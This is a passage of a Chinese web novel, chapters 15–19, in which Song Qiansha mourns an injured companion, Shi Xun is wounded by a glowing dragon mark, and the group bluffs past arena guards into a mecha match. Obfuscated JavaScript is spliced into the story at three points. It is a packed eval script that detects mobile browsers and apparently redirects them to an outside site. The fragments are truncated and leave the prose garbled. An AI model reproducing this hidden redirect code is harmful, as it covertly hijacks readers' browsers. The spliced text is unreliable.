随后他看着二人的身影,摇了摇头转身回到房间。 “上个月敢挑战的已经在房间里变成肉酱了。” 颂千纱全力奔跑,齐焦竟只能微微拉近与她的距离。 她离最里面的那一间越来越近,齐焦焦急大喊。 “别!别开!” 门开了。 颂千纱的嘴角不自觉地勾起,眼睛亮亮的,欢脱地向内呼喊。 “小龙!” 她蹦跳着推门走了进去。 齐焦蹙着眉跟了上来,气喘吁吁的,她古怪地看了一眼颂千纱,面色紧绷地往里望去。 里面空无一人。 颂千纱感觉到这里胤允的气息十分浓郁,屋内却分外昏暗。 她蹙着眉,红色眼睛骤然亮起,察看四周。 齐焦狠狠松了口气,她不由自主地拍了拍胸口,一脸劫后余生的样子。 分明没有追颂千纱跑多久,齐焦的冷汗冒了一身,她擦了擦脑门的汗,看向颂千纱。 颂千纱背对着齐焦,走向里侧的大床,深吸了一口气后,在床边顿住,身体不自觉地前后晃了晃。 手臂微微颤抖着向前伸,但又像是被烫到了一样猛地缩了回去。 血。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993603|193849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是他的血。 她怔怔地看向大床,嘴巴微微张着,满脸不可置信。 豆大的泪珠一滴一滴地往下落。 心脏钝痛,一下一下地拍打胸膛,像是要挣脱皮肉从里面蹦出来。 颂千纱浑身都开始颤抖起来,她缓缓蹲在地上。 齐焦往外看了一眼,谨慎地把门合上,然后跟上颂千纱。 “怎么了?怎么突然就哭了纱纱?” 齐焦赶忙上前,和颂千纱一起蹲在地上,低头半搂着她。 “我……” 颂千纱感觉到自己不管怎么呼吸,都喘不上气来,心脏的挣扎更加的剧烈。 她感觉自己像是一架濒临散架的玩具。 “我好没用。” 她抽泣了很久,才断续着把话说出来。 她眼泪几乎顷刻浸湿了手臂,她的身体开始控制不住颤抖,愈演愈烈,耳朵开始嗡鸣。 “我好没用啊。” 她摇着头看向齐焦,用力呼吸着,身体逐渐脱力,几乎瘫倒在地上。 “他受伤了,他快要死了。” 齐焦半搂着她,在不断说着什么,可她的耳朵除了嗡鸣声,一个字也听不见。 怎么办? 胃也开始叫嚣,不想要待在这具身体里。 天旋地转,颂千纱感觉到伴生纹更加滚烫,可她呼吸不过来,胸口愈发闷了。 怎么办? 她忍不住用力捶打自己的胸口,用力到自己不断地咳嗽,接着开始干呕。 衣服内的伴生纹焦急的闪烁着,接着,散发出金光。 齐焦看见颂千纱衣领处闪了一瞬。 她蹙了蹙眉,想要仔细查看,可颂千纱抱着腿把自己埋进膝盖里,在床脚缩成一团。 齐焦眉头蹙的更深,半晌,她叹了口气,抱住颂千纱。 不知过了多久,颂千纱的身体逐渐不再颤抖。 她眼神呆滞,歪着头看向前方。 伴生纹滚烫,似是想要安抚她,可任凭它再如何发烫发光,颂千纱都再没有任何反应,只有眼泪依旧在不断向外流淌。 不久后,门再次打开。 齐焦身体紧绷看向门口,手从靴腿处微微抽出刀柄。 “咔哒——” 门关上了。 是时循走了进来。 齐焦把刀重新插进靴子里,紧绷的肌肉一瞬间松弛下来,从地上站起。 颂千纱依旧没有任何反应。 时循蹙眉看着颂千纱,眼神落在她的锁骨处停留了片刻,眉头蹙的更深。 她看向齐焦,下巴对着颂千纱轻扬,眼神询问。 齐焦看了一眼在地上缩着的颂千纱,引时循出去聊。 二人在客厅站定。 “进来以后看着床,突然就崩溃了。” “说了一句——” 齐焦压低声音。 “他受伤了,要死了。” 时循凝眸看向齐焦,视线微微下垂,思考了半晌,抬头环视四周。 “还好没开灯。” 齐焦点了点头,随后视线落在时循身上,挑了挑眉。 时循不留痕迹地观察了一圈四周,随后看向茶几,微微凝眸,片刻后又转开。 “可真豪华。” 话毕,她渡步走回房间处,齐焦抬脚跟上。 她锁骨处的光亮已经没有刚进来时那么显眼了,现在不仔细看,会以为只是闪亮的金饰。 时循蹲下,眯着眼看了颂千纱半晌, “你这什么在发光?” 16. 第 16 章 回应时循的只有颂千纱的眼珠。 她的眼睛从看着远处微微转向时循。 她看起来十分麻木,脸上没有笑容,也没有悲伤。 时循紧蹙着眉,与她对视。 语气更加凌厉。 “回答我。” 颂千纱的反应慢了一拍,过了几分钟她才反应过来有人喊她。 可嘴巴微微张开,停顿了几秒,还是没说话。 她感觉到力竭。 她歪着头,没有动,眼睛盯着时循,眼里全是漠然。 随便吧。 她没有力气了。 时循严肃看了她很久,半晌,她轻轻叹了口气。 她轻轻摘下兜帽,再次看向颂千纱,像是做了什么决定。 随后她把兜帽交给齐焦。 齐焦不明所以,用眼神询问。 时循没有解释,她微微垂眸,半晌,抬起头交代齐焦,眼神里全是凝重。 “你退后。” “如果一会儿动静很大引人来了,你第一时间把我们两个带走。” 齐焦紧绷着脸看向时循,眼神微眯。 她又补了一句。 “一定要避开时家,洛家——” 时循微微垂眸顿了顿,随后看向齐焦。 “如果没时间躲,不用避。” 她没管齐焦的反应,走回颂千纱身边,脸上依旧没什么表情。 颂千纱依旧倚靠在墙角,像一个安静的洋娃娃。 “我必须要了解清楚情况,才知道怎么帮你。” “抱歉。” 话毕,她没再管颂千纱的动作,伸手把颂千纱的衣领往下拉。 一道闪着金光的龙纹赫然印在颂千纱的锁骨处。 如果不是它在发光,时循定会把它当作一个漂亮的普通纹身。 龙纹栩栩如生,黑色与金色交织形成的奇异纹路,隐隐散发着细密的光芒。 来不及细看,下一秒,金光大盛,一声龙吼响彻打斗场,整个房间金光大盛。 一股几乎让时循无法反抗的强大能量从纹路中爆发,时循只隐约看见纹身上的龙眼怒目圆瞪。 像是活了过来。 接着,时循紧蹙着眉头,口唇中涌出鲜血。 她虽早有意料,却没想象到这股力量强大到如此地步。 时循立刻捂住口鼻,不让鲜血掉在地上留下痕迹。 颂千纱原本呆滞的目光突然被鲜血点亮。 她看着时循突出的鲜血,像是被唤醒了一般,睁大眼睛,慌忙大喊。 “小龙!不要!” 话音未落,远处依稀传来脚步声。 在一旁严正以待的齐焦应声而动。 她拎起二人迅速闪身,一手拎一个,用最快的速度逃出房间。 周围忽然变得嘈杂,不断传来别人议论的声音。 齐焦避开摄像头从窗外跳出,顺手关上窗户。 在监控死角停下,扫视四周。 她右上角全是激动的观众。 齐焦站在观众身后,微微侧目向身后看去。 周围脚步声越来越近。 左边有一个镂空的隧道,直接通往打斗场的场地。 上面就是观众席的台阶。 不大不小,有个刚好能站人的凹槽。 警报声越来越响。 齐焦额角的汗流到下巴。 啪嗒。 她迅速决断。 齐焦沉肩发力,甩手全力向上抛,把左手的时循扔上台阶。 时循借力一跃,跳了进去。 随后齐焦立马拉着颂千纱坐在观众席,自己一屁股坐在上面,仓促地遮住凹槽。 时循咽下从嘴里涌出的鲜血,因为颠簸忍不住咳嗽了两声。 场内声音巨大,咳嗽淹没在欢呼声中,但还是有零星两三个人回头。 见后面两个带着兜帽的人搂在一起,不由多看了一眼,齐焦与之对视,眼神狠厉。 那人不由得一阵哆嗦,很快把头转了回去。 齐焦揽着颂千纱胸前不断起伏,面色紧绷,努力调整呼吸。 她微微偏头交代道。 “一会儿别人说什么都别说话。” 随即脸上挂起平时吊儿郎当地笑意,看起来洒脱又随意。 侧目用余光瞥了眼穿着安保服的人员。 看起来来了不少人。 齐焦抬了抬下颌,搂着颂千纱看向赛场。 颂千纱转头将目光移向齐焦,反应依旧迟钝。 “啊,嗯。” 场上有两个选手正用机甲打的火热,所有人都全神贯注地观地为他们呐喊。 脚步声很快向他们走近。 这对于离场下很近的观众来说稀松平常,没几个人在意。 齐焦如大众一般,并未回头。 两位选手针尖对麦芒,齐焦拍手为选手叫好。 但很快,脚步声就在她身边停下。 有人打断了她。 “喂,你!” 齐焦身侧有一个带头的安保员拍了拍她的肩膀。 她衣服下的肌肉轻轻绷起。 齐焦眼神并不友善,看向安保员的面色一脸不耐烦。 “干什么?我们在——” “入场券拿出来!” 安保员的眼神带着明显的怀疑。 他语气很冲,这个位置分明不是座位。 齐焦嘴角的笑容凝固,脸色变得很难看,转头看向安保员。 “我没有入场券。” 安保员神情更加怀疑,他肃着脸,偏头示意。 下属会意,把齐焦团团围住。 “说!没有入场券怎么来的观众席?” 安保员们一个个面色严肃,手中持抢对准齐焦。 领头的微微瞥向一旁带着兜帽的颂千纱,眼神微眯。 颂千纱看起来毫无知觉,依旧面朝场地看着比赛。 齐焦蹙眉俯视安保员,神情依旧镇定。 她轻笑一声,刚想张口。 一股浓郁血腥味从她的身下钻出,气味止不住的蔓延。 安保员瞬间就闻到了。 齐焦眼神一变,瞬间搂紧颂千纱。 他们表情瞬间一变,领头举起手枪上膛,大声喝道。 “下来!是你闯入了——” “我是选手。” “场内有明确规定,选手不能观战其他对手吗?” 齐焦扬声打断安保员的话,松散的坐姿不变。 她表情很是松散,甚至转头看向赛场。 但搂住颂千纱的手不留痕迹地伸向靴口。 比赛已经进入白热化,其中一名选手已经明显开始力竭。 领头的安保员依旧举着枪,神情严肃地看向齐焦,呵斥道。 “今天没有带帽子的选手上场,你的血腥味与一号房间有关!” “场内规定,有人擅闯一号房间,有权就地处死!” 接着,齐焦听见所有安保员枪上膛的声音。 隐约还有滋滋的电流声响起。 她肌肉骤然绷紧,面色一厉,转头看向安保员,眼睛全是狠意。 手紧握住 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领头的向场内望了望,脸色露出些许迟疑。 他犹豫了两秒,从口袋里拿出光脑,声音依旧严厉。 “名字。” 齐焦微微一笑。 “焦迟。” 安保员在光脑处点击了几下,查看战绩。 十六胜一负。 最后一场是昨天。 脸上虽然带着明显的犹疑,但安保员示意下属收起枪支。 随后他面带歉意地望向齐焦。 “抱歉,尊敬的二级选手,我还需要您身边的这位的姓名。” 齐焦微微蹙眉表示不满。 “难道要一一向你们报备吗?” “非常抱歉,选手。” “我们一号房间的被人闯入,我们需要确认她的身份是否记录在案。” 安保员微微鞠躬,态度良好,但丝毫不愿让步。 齐焦蹙眉压低眉眼,脸上的凶狠尽显,看向安保员。 气氛凝固了半晌。 屁股下压着的洞口忽然传来一丝痒意。 齐焦顿了顿,微微一笑,手放在腿上随意搭着。 过了一会儿,她启唇开口。 “花花花。” “什么?” “她的名字。” “好的。” 安保员点击光脑查看,眉头紧蹙。 这位ID为花花花的选手,在两个小时前刚刚注册。 “她——” “过来这打黑赛的都是讨生活的。” 她顿了顿,声音忽然变大了不少。 “你觉得一个刚失去重要亲人的人——” “会进你们的一号房间吊唁吗?” 坐的近的不少人都开始回头窃窃私语。 场上刚刚分出胜负,没了视觉重心,有不少人都看了过来。 有人先是看向满眼通红的颂千纱。 后开始面露厌恶地看向围了一圈的安保员。 见场内因为自己愈发嘈杂起来,领头的蹙眉与下属交流了两句。 后除了带头的那个,其他安保员们开始分散维持秩序。 带头的那个蹙着眉,偏头背过去与耳机里的声音交流了几句。 随后他看向齐焦,眼神微微一闪。 17. 第 17 章 “抱歉,尊贵的二级选手,让您不舒服我很抱歉。” “但今天你们必须要上场才能洗清嫌疑。” “既然都是讨生活——” 他顿了顿,看向齐焦。 “希望您也不要为难我们。” 安保员神情尊敬,姿态放得很低。 他接着问道。 “我看不久以后还有一位名叫循环的选手也是刚刚注册。” “请问是你们的同伴吗?” 齐焦感觉到屁股再次被戳了戳。 她用手撑着头,睨向安保员,表情莫测。 半晌,她微微点头。 “是。” “那就也请她一起参赛。” “我们就先退下了。” 话毕,领头的安保员带队撤退,分两路往别的方向检查。 齐焦没动,依旧目视前方,直到安保员的脚步声全部走远。 她绷着脸,回头望去瞥向安保员们离开的方向。 确认安全后,擦了擦从额角滴到下巴的汗,大大地吐出一口气。 颂千纱似有所感,侧目看向她。 齐焦四处看了看,等待时机。 终于在摄像头转头的瞬间,她立马站起,向下伸手把时循拉了起来。 时循低垂着头,不让人看清她的脸。 她看起来状态并不好,惨白着脸,嘴角全是尚未干涸的血迹。 胸前有一大片濡湿,血腥味一瞬间弥漫开来,引了不少人侧目。 越来越多的目光汇集于此地,时循的头埋的更低。 “帽子。” 齐焦从兜里拿出来,向递时循过去。 时循立马戴好。 兜帽很大,正好把她整张脸挡住,她终于抬头。 “时循,你……” 颂千纱被血腥味刺激得醒了过来,她看向时循。 她的眼里全是愧疚与担忧。 “这里不是说话的地方。” 时循打断颂千纱,神情肃穆,她看向齐焦。 “去你的准备室。” “好。” 齐焦点头立马跳下台阶,伸手给时循借力下来。 颂千纱默默缩回自己伸出的手。 她垂眸抿唇,也利落地跳了下去。 时循侧目,她顿了一瞬,没有开口。 抬头透过帽子瞥了眼监控,抬脚跟上齐焦。 打斗场只有一百个准备间,是给排名前一百的选手准备的,齐焦排在九十多名。 时循的脸色愈发苍白,一路不断咳嗽着,偶尔咳出鲜血。 颂千纱好几次上前想要说话,却被时循摇头制止。 一路无话。 三人七弯八绕了很久,终于在嘈杂的人流中逆行而上,找到了九十七号房间。 时循关上门,把喧嚣隔绝在外,随后上前四处查看。 齐焦拉着颂千纱站在一旁,视线落在时循身上,欲言又止。 时循一路摸索,在桌角拔出一颗□□。 齐焦眼神一厉,也开始上前查探。 二人巡视了一番这本就不大的房间,在隐蔽处找到了五个窃听器和两个微型摄像头。 颂千纱再次想要开口,齐焦再次摇了摇头,指了指窃听器。 时循把窃听器交给齐焦,齐焦转身快步走向门口,准备扔出去。 她的脚步被颂千纱拦住。 颂千纱也摇了摇头,指了指门,又指了指齐焦手里的窃听器。 齐焦眉头紧蹙,蹲下身子把地毯翻开,空无一物,齐焦转头看向颂千纱。 颂千纱用力摆了摆手,再次指了指门锁。 齐焦走近查看,眼神微眯,随后拆下门锁。 一个看起来比其他窃听器精致不少的窃听器吸附在门锁内。 齐焦把窃听器抠出,转身开门把所有窃听器扔了出去,一气呵成。 她一脸嫌弃地拍了拍手,在桌上拿了张纸巾,转脸问时循。 “他们是不是猜到是你了?” 时循喉咙里的不断有血涌上来,她忍不住地咳了两声,敛眸出声道。 “应该是洛家的人觉察到了,没事。” 颂千纱见二人出声,立马上前。 “时循……” 她张了张口,喉咙里像被什么堵住了。 “对不起。” 颂千纱低头瘪着嘴,眼里的愧疚几乎要溢了出来。 时循闻声侧目。 “你不需要感到抱歉。” 颂千纱几乎把自己的脸皱成一团。 她低头沉默半晌,像是做了什么决定,再次张口想要说什么。 时循抢先出声。 “伤确实很严重,等赢了我们先买治疗液。” “可……” “我这样上场正好。” 时循瞥向颂千纱,眼神凌厉,示意她不要再说下去。 她的目光很快转向齐焦。 齐焦坐在一旁,左脚搭在右脚上翘着,盯着时循不放。 时循止不住地咳嗽,抬了抬手示意齐焦。 齐焦站了起来,把位置让给时循。 过了半晌,她的咳嗽声终于缓了下来,直起身看向齐焦。 “有没有衣服?” “只有一套我的。” 齐焦包里翻出自己的衣服递给时循。 时循也不罗嗦,接过立马转身走进卫生间。 时循瞥了眼身后的尾巴,冷酷地关上门。 齐焦再次坐回椅子上,再次架起二郎腿,目光落在颂千纱身上。 颂千纱站在卫生间门口看着门,担忧的目光快要穿透门板。 “你早就猜到了这样的局面。” “是。” 齐焦轻笑了一声。 “你就不怕我不配合?” “你会吗?” 门内传来布料撕扯的声音。 颂千纱闻声抬头,半晌又低下,她蹲在厕所门口,一步也不愿意离开。 齐焦的目光依旧盯着颂千纱不放。 半晌,她收回目光,微微颔首。 “你顶得住吗?” 时循打开门,齐焦的上衣被时循当作超短裙穿着,裤腿被撕掉变成短裤。 颂千纱跟着时循,不断观察着时循的状态。 这套衣服穿在她身上,削减了几分她气质的凌厉。 她把剩下的布料和染血的衣服递给齐焦,示意她放进包里。 颂千纱屏住呼吸,目光怔怔地看着时循几乎被血浸透的衣服,眉头越皱越深。 时循没有直接回答。 “之后帮你缝回去。” 齐焦接过衣服碎片塞进包里。 她对着时循挑了挑眉,示意时循回到刚刚的话题。 “嗯?” “我这样正好。” 颂千纱猛地抬头看向时循的脸,眼里全是怔仲,她的身影僵了片刻。 时循勾起嘴角,眼神很冷,看向窗外。 半晌,她转头看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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齐焦回头,手从门把上放回口袋,倚靠在门上,等待二人。 时循转身,她垂眸看着颂千纱紧紧抓住她不愿放开的手。 盯了半晌,时循轻轻吐出一口气,微微松了下紧绷的肩膀。 她再次抬眸看向颂千纱,眼神温和,嘴角轻轻勾起。 “但我觉得你可以保护好我。” 时循学着颂千纱平时的动作,微微歪头,笑得温暖。 “对吗?” 颂千纱怔了两秒,紧握成拳的手不自觉松了松,她像是回到某种很久以前的情绪里。 抓握时循的力道也不再像刚才那样严正以待。 沉默半晌,她眼睛里的水雾再次氤氲而出。 颂千纱用力擦了擦眼泪,她不明白为什么此刻她的眼泪比刚才更加汹涌。 她垂着头不想让人看见她的眼泪。 颂千纱眉头紧蹙,语气短促坚定。 “好。” 齐焦勾唇看着二人,手再次放在门把上微微一扭,门开了。 “走吧。” 三人转身出门,颂千纱挤了挤要走在二人中间。 二人都诧异地看向她,往边上走了走,给她让出中间的位置。 颂千纱低着头擦干脸上的眼泪,沉默半晌,忽然扯了扯齐焦的衣角。 她的嘴巴不自觉地蠕动了良久,直到齐焦忍不住又揉了揉她的脑袋。 齐焦笑眯眯的弯腰,偏头看着她。 “别担心纱纱,我会尽全力保护好你们。” 颂千纱摇了摇头,她再次用袖口擦了擦眼泪,抬头看向齐焦。 “我会保护好你们。” 18. 第 18 章 颂千纱眼中全是郑重,看向齐焦双眸。 “我很强的。” 齐焦向颂千纱眨了眨眼,嘴角轻勾。 “我知道。” 她再次举起手揉了揉颂千纱的头。 “我也相信你。” “嗯!” 颂千纱微微抬头,怔怔地望着齐焦。 相信。 她顿了两秒,似乎没料到自己会哭。 颂千纱低头再次把眼泪擦干,可眼泪还是不停地流,哽咽间鼻子还吐出一个大泡。 齐焦别过头去抖肩膀,从兜里拿出几张纸递给颂千纱。 时循笑了笑,接着又忍不住咳嗽了几声。 颂千纱立马转过头,时循摆了摆手。 “我没事。” 颂千纱收回目光,背对着二人望向大屏上的赛场。 往大厅越近人群越多,声音也愈发嘈杂,齐焦上前开路。 不久后,三人来到柜台前,女接待员起身鞠躬。 齐焦微微点头,在屏幕上输入三人姓名。 “尊敬的选手您好,已扣除三百星币组队,请您输入队伍名。” 齐焦瞬间跳脚。 她睁大眼睛看向接待员。 “不是,你们要求我上场,为什么还要我付钱啊?” “抱歉女士,第一次组队都是需要付组队费的,之后就不用了。” 女接待员看向齐焦,一脸歉意。 “是你们主——” 时循忍着咳嗽拍了拍齐焦,开口道。 “付吧。” 齐焦撇了撇嘴。 她看向时循,耸了耸肩。 “好吧,那名字叫什么?” 齐焦的手在屏幕上点了点,侧目询问二人。 颂千纱坐在一旁背对着她们,看不清表情,手撑在膝盖上看比赛。 在一旁沉默的颂千纱突然出声。 “叫鲨爆你们。” 空气停顿了半晌。 二人都转头望向她。 时循退后半步观察。 颂千纱的坐姿看似松散,其实绷得很紧。 “你……” 齐焦下意识出声。 颂千纱转头与二人对视,眼神有些慌乱地向四处扫去,有些不好意思。 “这个不好吗?” 齐焦停顿了一下,微微张口,没有说话。 时循摇了摇头,淡淡地收回目光。 “没事,就这个吧。” 齐焦输入很快输入进去。 “已成功建队!鲨爆你们队,祝你们战无不胜!” 机械女声响起,接待员们从抽屉里拿出三枚徽章发给二人。 “这是你们的徽章。” “上面了领导特意为你们荣升了一级,可以直接进入二级赛区比赛,奖励翻倍哦!” 齐焦压平嘴角,整个人气势变得压迫。 “新手队伍直接进入二级赛区?这是什么意思?” “想让我们送死?按规矩我们有权拒绝吧?” 接待员似乎没想到齐焦会有这样的反应,她明显愣了一瞬。 “请稍等,我请示一下。” 接着,她背过身去与耳机里的人说了几句,随后看向齐焦,擦了擦额角的汗,脸上堆满笑容。 “女士,上级说原本前五场赢双倍的价钱变成四倍。” “赔率一赔一百,一本万利哦!” 齐焦脸色不变,手撑在柜台上,也笑眯眯地望向接待员,笑意不达眼底。 “这点钱,有我的命重要吗?” 齐焦手臂发力,岩石制成的精致柜台很快出现了一道裂缝。 接待员听见柜台碎裂的咔嚓声,她慌忙摆手,试图安抚齐焦。 “请,请,稍等!” “我再请示一下……” 齐焦用手指轻敲柜台,面无表情地打断道。 “你告诉他。” “三百万星币,才有谈一谈的空间。” “好,好的!请您稍等!” 店员逃似地走到一旁,打开光脑拨通了电话。 齐焦勾起嘴角,对着时循苍白的脸挑了挑眉。 她脸上得意的表情藏也不藏。 “怎么样?” 时循看向齐焦,从头顶到脚面,随后轻轻一嗤,收回目光。 “你要的太少,他肯定会答应的。” “……” 齐焦身形僵住。 她的眼睛瞪大两秒,后蹙眉看向时循,眼里谴责几乎要溢了出来。 “那你怎么不早说?” 齐焦摸了摸下巴,眼神放光。 “我现在抬价来得及吗?” “没必要。” 时循忍不住又咳了两声,她微微垂眸,眼底滑过一丝精光。 “上场前让他们划过来。” “我们压自己。” 齐焦睨向时循,直起懒散地身子,眼神意味深长。 “这么自信?不怕他们给我们安排三星?” 时循轻笑摇头,她看向颂千纱。 颂千纱正侧着脸望向场内,似乎正透过赛场回忆以前的事。 “他们一定会安排规则范围内最强者。” “但我们会赢。” 齐焦似有所感,她仰着头,目光也转向颂千纱。 “你就那么确定?” 时循几不可闻地摇了摇头,她忍不住咳嗽了两声,与齐焦对视。 “一种感觉。” 颂千纱听见咳嗽,立马回头走近时循。 她微微撅着嘴,脸上带着忧虑。 颂千纱走过去拍了拍时循。 她比平时要沉默许多,忧心忡忡看向时循。 “我有点担心你。” 时循看出她状态反常,她思忖半晌,抬眸。 “我很珍惜我的命。” “况且。” “我也没有你想的那么弱。” 时循眼神中带着安慰。 颂千纱微微垂眸,长长地睫毛不断颤动,一句丧气的话涌到喉咙,却又被她强行咽下。 “好。” 颂千纱再次看向赛场,她摸了摸伴生纹,伴生纹闪烁了一瞬,像是回应一般烫了起来。 她微微蹙眉摩挲,似乎再次感应到了位置。 她向北方看去,接着,又猛地看向赛场。 情绪再次涌了上来,颂千纱整个人再次绷紧,目光灼灼地盯着赛场某一处。 齐焦诧异地观察着颂千纱。 刚刚去的肉搏场她分明没什么反应。 时循不留痕迹地蹙了蹙眉,她思虑半晌,开口道。 “打斗场是不是对你要找的人做了什么?” “这个赛场,有人伤了他。” 颂千纱没有回头,她抿唇盯着赛场。 时循眉头紧蹙,与齐焦对视了一眼。 接着,她提醒道。 “不要做让自己陷入危险的事。” 她的话意有所指。 颂千纱顿了顿,转头对她笑了笑,没有回答。 时循看着她的背影,微微垂眸。 不久后,接待员走了过来,手里举着光脑,朝着时循递了过去。 “选手您好,我们打斗场的洛老板希望跟您直接通话。” 时循瞥了眼电话,没有接过。 气氛凝固了半晌,光脑那一头传来细碎的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993606|193849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人声,接待员尴尬地笑了笑,把电话改为免提。 电话那头传来清澈的男声。 “时循?” 时循依旧不动,她转眸看向齐焦。 齐焦轻笑一声,上前接过电话。 “哪位?” 电话那头沉默了一会儿。 “让时循接电话。” 齐焦挑了挑眉。 “老板,我们这可没有什么时循。” “越级挑战,你额外给多少?” 电话那头似乎并不适应齐焦不含敬意的语气。 那人过了良久,似乎确定时循不会开口后,才缓缓回复道。 “三百万,胜利后打给你们。” 齐焦彻底收起笑容,目光落在光脑上。 “那我拒绝参加。” 电话那头的男人轻笑了一声。 “你想怎么样?” “五百万,赛前给我。” 齐焦狮子大开口。 时循看向齐焦,忍不住勾起嘴角。 “三百五十,赛前。” “五百,赛前,没商量。” 齐焦一脸嚣张。 时循忍不住摇了摇头,她转过身去,可喉咙的痒意怎么也压不下去。 她忍不住咳嗽起来。 电话那头的男人似是刚想说什么,听见咳嗽声后又再次沉默了片刻。 “好,六百万,我现在打给你。” 话毕就挂断了电话。 “?” 齐焦一脸莫名地把光脑递还给接待员,她古怪地看向时循。 “我不是要五百万吗?他给六百?” “他从咳嗽声认出你了?” 时循脸色愈发苍白,她点了点头,顺着颂千纱的视线看向赛场的大屏幕。 “应该是洛弗瑾。” “洛……弗瑾?!” 不少选手闻声侧目。 齐焦的声音下意识扬了起来,又用尽全身力气压了下去。 “那不是你的前任未婚夫,现任姐夫吗?!” “这还不要紧?!” 时循不在意地笑了笑,拍了拍颂千纱示意该走了。 “他没有掌权。” “走吧,马上到我们了。” 身后的大屏上印着硕大的“财神降临队”36连胜。 地下三名身形矫健的少年站姿随意,看起来毫发无伤。 齐焦低着头,边走边思考,半晌,她抬眸看向时循。 “时家主定会知道,你准备怎么做?” 时循面不改色,似乎不管发生什么也不会让她有太大波动。 “兵来将挡,水来土掩。” “我们现在要做的是尽快入学。” 三人进入候场区。 候场区很大,人不少,分成两个区域。 颂千纱三人参加的是机甲战,有专属的机甲区,可以自带机甲,也可以选择打斗场的基础机甲。 自带的机甲损耗需要自费,而打斗场的基础机甲不用,但相应的,打斗场的机甲灵敏度也不能与自带机甲相提并论。 随着视线的不断拉近,齐焦带着三人走入深处,三人从远处望见一幢幢硕大壮观的机甲。 机甲的外形都一模一样,有的新有的旧,大多数人都愿意选择新的。 颂千纱向前走去,灵宝天赋释放,一一扫过机甲,随后站在一架陈旧的机甲面前,看向时循。 “这个材质最好。” “我可以动手修吗?” 时循点了点头。 “规则允许机甲师修机甲。” “那你用这个,可以吗?” “好。” 齐焦也上前查看。 19. 第 19 章 齐焦拍了拍颂千纱为时循选定的机甲,挑了挑眉。 首都星等级分明又森严,只有有钱人和有天赋的人可以摸到机甲,所以几乎所有人来比赛都想打机甲赛。 这台机甲看起来很有年头了,放在角落,没什么人选,因多次掉漆补漆与其他的机甲略有差异,应该是打斗场的第一批机甲。 “机括看起来很老旧,来得及吗?” “来得及。” 话毕,她便动手调试机甲,她分明只是第二次接触完整的机甲,但做起来却分外熟练。 哪里有不足,哪里有问题在她眼中如同标注好了一般,一览无余。 时循瞥了眼不远处的赛场,出声催促颂千纱。 “先去选你的,选好再回来修机甲。” 颂千纱笑了笑,随手指向右边的机甲。 “我就这个吧。” “不再挑挑了?” 齐焦看向身后一排排机甲,虽然大多数都是大同小异,但功能上总是略有差别,挑选一个与自己属性相符的,益处只多不少。 颂千纱用神识包裹住双手,垂眸修着机甲,回复齐焦。 “不用,这里的机甲对我来说都差不多。” “那也行。” 时循转过身看向颂千纱。 “留五分钟,我教你怎么驾驶。” “好。” 颂千纱看向齐焦,手上动作不停。 齐焦在这不远处与时循一起看着赛场。 “你呢?” 齐焦回头,眼神战意昂扬,嘴角勾起。 “用你第一次改造的。” “正好彻底试试改装过的威力。” 颂千纱点了点头,转过身继续全神贯注地修机甲。 打斗场忽然传来一阵热烈的欢呼声,时循闻声转头。 那三位少年昂首站在场中央,戴着面具,对场内的欢呼声不屑一顾。 另一旁,工作人员用担架把战败方抬走,盖上白布。 时循微微眯眼。 她看见从机甲上抬下来的三人无一不是血肉模糊。 头部的鲜血瞬间染红了白布,有些第一次来的观众不禁脸色发白,低头呕吐,而来了多次的人却拍手叫好,对三人的行为振臂欢呼。 候场区的机械语音播报,通知颂千纱三人即将上场。 三人充耳不闻。 齐焦的光脑忽然震动了两下。 她从口袋里拿出光脑,嘴角微勾,把光脑递给时循。 “到账了。” 时循看了眼余额,与齐焦对视一眼。 “去下注,把所有钱压进去。” “好。” 她顿了顿,声音微扬,对着齐焦背影补了一句。 “尽快。” 齐焦点头,转身向场外飞奔而去。 打斗场内愈发嘈杂,观众们都在奋力呼喊那三个少年的名字。 时循看向场内擂台,败者三人的血迹从机甲里溢出来,染红了机甲的缝隙,只有几滴掉在地上。 她看在眼里,微微蹙眉沉思着什么。 颂千纱的手法愈加熟练,她闻声望了一眼那三个少年的位置,手停顿了一瞬。 她向擂台的位置低下两寸望去,凝眸片刻。 颂千纱轻轻呼出一口气,继续手上的动作。 要上场了才知道。 半晌,她看向时循。 “这里有阵法吗?” “阵法?” 时循不禁蹙了蹙眉,面露疑惑。 颂千纱犹豫了一会儿,摇摇头。 “没事,我在你的机甲里加了些保护你的东西。” 她垂眸思忖了片刻,补充道。 “你可以理解成一种手法。” 话毕,她继续手中的事,伴生纹突然闪烁发光,似乎在不断安慰颂千纱。 颂千纱顿了一瞬,随后继续修机甲。 打斗场内热气很足,但摆放机甲的地方却没什么冷气,时循脸色愈发苍白。 她对颂千纱胸前不断闪烁的伴生纹看在眼里。 半晌,突然开口。 “颂千纱,你现在的状态很容易失控。” “在赛场上失控,我护不住你。” 颂千纱的身形顿了一刻,停下了手上的动作。 时循看不清她的表情。 颂千纱回答的斩钉截铁。 “我不会。” 话毕,她又继续修机甲。 时循的眉头没有放松,反而越皱越深。 “你不能使用那些能力。” “包括——” 时循的眼睛盯向颂千纱的锁骨中间。 颂千纱再次顿了顿,转过脸去正视她。 “不会的,我当时是……” 